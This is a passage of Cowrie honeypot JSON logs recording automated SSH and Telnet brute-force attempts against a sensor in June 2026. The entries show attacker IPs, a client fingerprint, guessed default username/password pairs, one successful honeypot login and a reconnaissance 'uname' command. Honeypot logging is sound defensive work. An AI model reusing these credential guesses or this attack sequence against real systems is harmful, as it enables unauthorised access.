0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:05.349288Z","src_ip":"91.92.42.133","session":"ec79c4de49b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":41436,"dst_ip":"159.203.135.109","dst_port":22,"session":"58b555565775","protocol":"ssh","message":"New connection: 91.92.40.171:41436 (159.203.135.109:22) [session: 58b555565775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:07.119377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:07.144680Z","src_ip":"91.92.40.171","session":"58b555565775","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:07.250954Z","src_ip":"91.92.40.171","session":"58b555565775","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1","message":"login attempt [alex/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:07.461212Z","src_ip":"91.92.42.133","session":"ec79c4de49b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"123","message":"login attempt [odoo16/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:07.638736Z","src_ip":"91.92.40.171","session":"58b555565775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:08.790626Z","src_ip":"91.92.40.171","session":"58b555565775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:08.797017Z","src_ip":"91.92.42.133","session":"ec79c4de49b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":41466,"dst_ip":"159.203.135.109","dst_port":22,"session":"45f108adc6db","protocol":"ssh","message":"New connection: 91.92.40.171:41466 (159.203.135.109:22) [session: 45f108adc6db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:13.064795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:13.127069Z","src_ip":"91.92.40.171","session":"45f108adc6db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:13.223785Z","src_ip":"91.92.40.171","session":"45f108adc6db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53698,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d43ac45e75d","protocol":"ssh","message":"New connection: 91.92.42.133:53698 (159.203.135.109:22) [session: 9d43ac45e75d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:13.448467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:13.452033Z","src_ip":"91.92.42.133","session":"9d43ac45e75d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:13.545098Z","src_ip":"91.92.42.133","session":"9d43ac45e75d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:13.592881Z","src_ip":"91.92.40.171","session":"45f108adc6db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:13.820831Z","src_ip":"91.92.42.133","session":"9d43ac45e75d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:14.757610Z","src_ip":"91.92.40.171","session":"45f108adc6db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:14.908600Z","src_ip":"91.92.42.133","session":"9d43ac45e75d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60512,"dst_ip":"159.203.135.109","dst_port":22,"session":"bad59f9fd28e","protocol":"ssh","message":"New connection: 91.92.42.133:60512 (159.203.135.109:22) [session: bad59f9fd28e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:20.125877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:20.342145Z","src_ip":"91.92.42.133","session":"bad59f9fd28e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:20.345683Z","src_ip":"91.92.42.133","session":"bad59f9fd28e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":53552,"dst_ip":"159.203.135.109","dst_port":22,"session":"aad69b7b8b97","protocol":"ssh","message":"New connection: 91.92.40.171:53552 (159.203.135.109:22) [session: aad69b7b8b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:20.753007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:20.822755Z","src_ip":"91.92.40.171","session":"aad69b7b8b97","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:22.158460Z","src_ip":"91.92.42.133","session":"bad59f9fd28e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:22.263964Z","src_ip":"91.92.40.171","session":"aad69b7b8b97","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:23.033005Z","src_ip":"91.92.42.133","session":"bad59f9fd28e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:23.035821Z","src_ip":"91.92.42.133","session":"bad59f9fd28e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:23.477058Z","src_ip":"91.92.42.133","session":"bad59f9fd28e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:23.482504Z","src_ip":"91.92.42.133","session":"bad59f9fd28e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:26.490551Z","src_ip":"91.92.40.171","session":"aad69b7b8b97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58926,"dst_ip":"159.203.135.109","dst_port":22,"session":"39e671f77d52","protocol":"ssh","message":"New connection: 91.92.42.133:58926 (159.203.135.109:22) [session: 39e671f77d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:26.550985Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":53616,"dst_ip":"159.203.135.109","dst_port":22,"session":"02e83115cf57","protocol":"ssh","message":"New connection: 91.92.40.171:53616 (159.203.135.109:22) [session: 02e83115cf57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:26.730105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:26.845664Z","src_ip":"91.92.40.171","session":"02e83115cf57","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:26.962729Z","src_ip":"91.92.42.133","session":"39e671f77d52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:26.969933Z","src_ip":"91.92.42.133","session":"39e671f77d52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:27.987168Z","src_ip":"91.92.40.171","session":"02e83115cf57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:28.610423Z","src_ip":"91.92.40.171","session":"aad69b7b8b97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"1234567890","message":"login attempt [fastuser/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:29.658573Z","src_ip":"91.92.42.133","session":"39e671f77d52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":43542,"dst_ip":"159.203.135.109","dst_port":23,"session":"4692947bdb2f","protocol":"telnet","message":"New connection: 107.6.151.170:43542 (159.203.135.109:23) [session: 4692947bdb2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:29.867892Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47528,"dst_ip":"159.203.135.109","dst_port":22,"session":"b192e05448e1","protocol":"ssh","message":"New connection: 91.92.40.171:47528 (159.203.135.109:22) [session: b192e05448e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:30.090519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:30.191032Z","src_ip":"91.92.40.171","session":"b192e05448e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:30.194814Z","src_ip":"91.92.40.171","session":"b192e05448e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:30.821208Z","src_ip":"91.92.42.133","session":"39e671f77d52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"1234","message":"login attempt [crafty/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:30.897298Z","src_ip":"91.92.40.171","session":"02e83115cf57","protocol":"ssh"}
